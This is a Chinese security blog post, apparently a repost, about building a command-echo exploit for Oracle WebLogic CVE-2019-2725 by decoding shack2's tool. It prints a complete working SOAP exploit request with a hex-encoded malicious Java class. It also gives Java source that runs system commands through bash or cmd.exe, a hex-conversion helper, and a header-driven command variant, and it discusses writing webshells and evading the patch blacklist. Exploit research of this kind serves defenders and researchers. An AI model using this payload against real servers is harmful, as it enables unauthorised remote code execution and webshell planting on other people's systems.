关注我们

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

小威小威 安全文摘 2019-06-09 418367 0

前言

不知道有没有人用过一款工具,是shack2写的

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

shack2

这是一款很神奇的工具。神奇在运行它可以得到回显且能找到正确的webapp发布路径,目前已知的xmldecoder的exp一般都是写webapp默认路径。当用户安装时更改了路径,由于路径问题,那些exp甚至一键化脚本/工具均会失效。而这个工具完美解决了这些痛点。

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

当前应用路径

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

命令回显

那么这款工具实现的原理是什么?我带着疑问尝试反编译。

反编译

我使用JD-GUI打开了这款工具的jar,发现用的还是一些通用的exp报文但同时掺杂一串奇怪的hex字符串。

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

hex字符串

我猜想这个hex字符串应该就是关键吧。我将它提取出来,尝试还原。

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

Hex

发现还原毫无反应,我继续尝试删除0x这个16进制标头。

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

Hex

能出来一些结果,但是是乱码,这并不是我想要的结果。
仔细观察工具中的exp,会发现来源一个方法FromHexString,这个方法来源于weblogic。
我建立工程,尝试还原。

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

尝试还原

还原成功了

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

还原成功

原来这段hexString是一个类,看到末尾的proc.getInputStream();我似乎明白了一些。

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

Stream Closed

恶意类

经过翻阅资料,发现这个类叫做恶意类。传入恶意类hex编码id设置为cls交给weblogic.utils.Hex.fromHexString类转换为byte[]----->org.mozilla.classfile.DefiningClassLoader类的defineClass方法传入com.supeream.exploits.XmlExp恶意类,通过newInstance方法实例化恶意类并调用say方法,传入你输入的命令id设置为proc交给weblogic内部回显类回显。

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

DefiningClass

我尝试提取出来,直接使用burpsuite发送报文。

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

回显报文

发现效果很好,能够直接在报文的回包中进行回显

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.50.129:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 5125

<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<voidclass="weblogic.utils.Hex"method="fromHexString"id="cls">
<string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
</void>
<voidclass="org.mozilla.classfile.DefiningClassLoader">
<voidmethod="defineClass">
<string>com.supeream.exploits.XmlExp</string>
<objectidref="cls"></object>
<voidmethod="newInstance">
<voidmethod="say"id="proc">
<string>ls</string>
</void>
</void>
</void>
</void>
<voidclass="java.lang.Thread"method="currentThread">
<voidmethod="getCurrentWork">
<voidmethod="getResponse">
<voidmethod="getServletOutputStream">
<voidmethod="writeStream">
<objectidref="proc"></object>
</void>
<voidmethod="flush"/>
</void>
<voidmethod="getWriter"><voidmethod="write"><string></string></void></void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

恶意类的写法有很多,我们可以根据自己的情况来写,并不是所有时候shack2提供的写法都有效。有的时候,报文不一定回显,就跟下面的代码有紧密关系。

ProcessBuilder processBuilder = newProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
servletResponse.getServletOutputStream().writeStream(proc.getInputStream());
servletResponse.getWriter().write("");

当然恶意类的核心是自动基于操作系统执行命令的,我们不用再指定是bash还是cmd。通过改写恶意类,我们能够将shell更快速的写入webapp的发布目录。在此以前,我是使用find命令配合xargs进行写shell的。这种方法只能适用于Linux或者安装有powershell的win机器,性能比较低下。通过改写恶意类,我成功写入了一个aa.txtx文件,这个文件可以告诉我当前webapp发布路径。

String path = webAppServletContext.getRootTempDir().getAbsolutePath() + "/war/aa.txt";
if(cmd.equalsIgnoreCase("givemewlswarpath")) {
servletResponse.getWriter().write(path);
}else{
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

List cmds = newArrayList();
PrintWriter printWriter = new PrintWriter(path + "x");
printWriter.println(path);
printWriter.close();
if(cmd.startsWith("$NO$")) {
cmds.add(cmd.substring(4));
}elseif (isLinux) {
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
}else{
cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);
}

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

aa.txtx

当然你可以改写恶意类,直接写你想写的shell。
那么问题来了,改写好的恶意类如何转为hexString了?

恶意类转hexString

我请教了一下afanti大佬,得到了答案,这里我直接贴出代码

importjava.io.*;

publicclassEcho3{
publicstaticvoidmain(String[] args)throwsIOException{
InputStream in = newFileInputStream("/Users/xue/WeblogicEcho/XmlExp.class");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data,4194);
//System.out.println(HexString);

try{
File file = newFile("hex.txt");
PrintStream ps = newPrintStream(newFileOutputStream(file));
ps.println(HexString);// 往文件里写入字符串
//ps.append(HexString);// 在已有的基础上添加字符串
}catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

}

publicstaticbyte[] toByteArray(InputStream in) throws IOException {

ByteArrayOutputStream out = newByteArrayOutputStream();
byte[] buffer = newbyte[1024*4];
int n = 0;
while ((n = in.read(buffer)) != -1) {
out.write(buffer,0, n);
}
returnout.toByteArray();
}
publicstaticStringbytesToHexString(byte[] bArray, intlength)
{
StringBuffer sb = newStringBuffer(length);
String sTemp;
for(int i = 0; i < length; i++)
{
sTemp = Integer.toHexString(0xFF & bArray[i]);
if (sTemp.length() < 2)
sb.append(0);
sb.append(sTemp.toUpperCase());
}
returnsb.toString();
}
}

在afanti原始代码的基础上,我直接将转出来的结果写入到hex.txt

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

hex.txt

CVE-2019-2725

10.3.6

那么CVE-2019-2725如何构造了?
lufei大佬改造了一下恶意类。因为void后面不能跟class,所以10.3.6配合oracle.toplink.internal.sessions.UnitOfWorkChangeSet走byte流,不能灵活的修改需要执行的命令,lufei大佬和pyn3rd师傅在header加了个参数,用来接收需要执行的命令。

String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(newweblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");

构造详情可看文末的链接。
实现的效果如下

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

实现的效果

lufei大佬这里使用了JDK7U21的Gadget,pyn3rd师傅提示这里可以和Gadget无关,相关详情我就不再披露。因为10.3.6有这样的效果,也就够用了。那么问题又来了,12.1.3可没有oracle.toplink.internal.sessions.UnitOfWorkChangeSet,该如何构造?

12.1.3

12.1.3可以使用org.slf4j.ext.EventData进行多重xmldecoder,非常粗暴的一种方式。
实现的效果如下

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

多重xmldecoder

补丁里面打入黑名单的标签只能防御最外层的xml,并不能防御xml里面嵌套的xml。
由于目前是某网活动敏感时期,我在此不公开。
到此,CVE-2019-2725的所有exp构造落下帷幕。新的补丁将class也打入黑名单且限制了void index的长度,Oracle这种使用黑名单的粗暴方式,可能在不远的将来再次被绕过,我们拭目以待。

特别说明

CVE-2019-2725是CVE-2017-10271的补丁绕过,wls-wast组件同样受到影响,我们可以通过它构造回显exp。而async是不可以回显报文的。但恶意类执行的写入等操作,同样对async起到相同的作用。

CVE-2019-2725/CNVD-C-2019-48814终章——报文回显

async


鸣谢(排名不分先后)

pyn3rd
afanti
lufei

参考

lufei——weblogic_2019_2725poc与回显构造:https://xz.aliyun.com/t/5299
afanti——java反序列化RCE回显研究:https://xz.aliyun.com/t/5257

文由微信公众国舜股份

版权声明

本文仅代表作者观点,不代表黑白网立场。
如文章侵犯了您的权利,请通过邮箱联系我们删除。
详情查看:版权纠纷
E-Mail:server@heibai.org

喜欢0发布评论

评论列表

发表评论

  • 昵称(必填)
  • 邮箱
  • 网址